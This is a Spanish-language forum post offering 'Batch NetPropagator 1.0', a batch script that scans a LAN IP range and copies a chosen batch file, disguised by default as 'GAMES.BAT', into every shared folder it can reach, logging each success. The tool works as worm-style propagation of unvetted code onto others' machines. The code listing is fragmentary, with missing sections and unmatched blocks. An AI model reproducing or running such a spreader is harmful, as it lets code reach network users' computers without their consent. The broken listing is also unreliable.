Batch NetPropagator 1.0 BY 3D1
Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...
Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene pequeños inconvenientes, pero no afectan en nada el funcionamiento..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:
Citar
192.168.1.X
Entonces en el Batch se usara asi:Citar
192.168.001.X
Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea
Código
El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.255 y la verdad es rapido..
@Echo Off @Mode con cols=44 Lines=15 @Color 0A ( Echo ^( )>AddK.bat Start /MIN Cmd /c Addk.bat CLS Echo Please Wait... Mode con cols=44 Lines=15 :new Set "Txt=" Set "ips=" Set "ip=" Set /a uip=255 Set /a iip=0 Set Sp= .... Set "ip0=" :form Cls Echo. Echo. Echo ESCRIBA LA DIRECCION IP: ECHO. ECHO ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ» Echo ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ echo. echo. echo. echo îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî echo Hacking And Security echo îîîîîîîîîîîîîîîîîîîî Key Goto :form :Code Mode Con Cols=80 Lines=25 Set "nameb=GAMES.BAT" CLS Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Batch NetPropagator 1.0 BY 3D1 [BETA] Echo. Echo Archivos compartidos de los Equipos de su Red.. Echo. Echo Para Terminar presione [Ctrl + Z]+[Enter] Echo Nombre Predeterminado [GAMES.bat] Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Echo. :stas Key Goto :stas :Bucle Mode con cols=45 Lines=16 Cls ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT Set /p state=<STATEIP.DAT Goto :Bucle ) Echo. Pause>nul Goto :Eof :netview Ping -n 0 0.0.0.0>nul ) ) Call :add ) Goto :eof :add Set /p F=<GetFileName.dat ) Goto :eof
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..
Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!!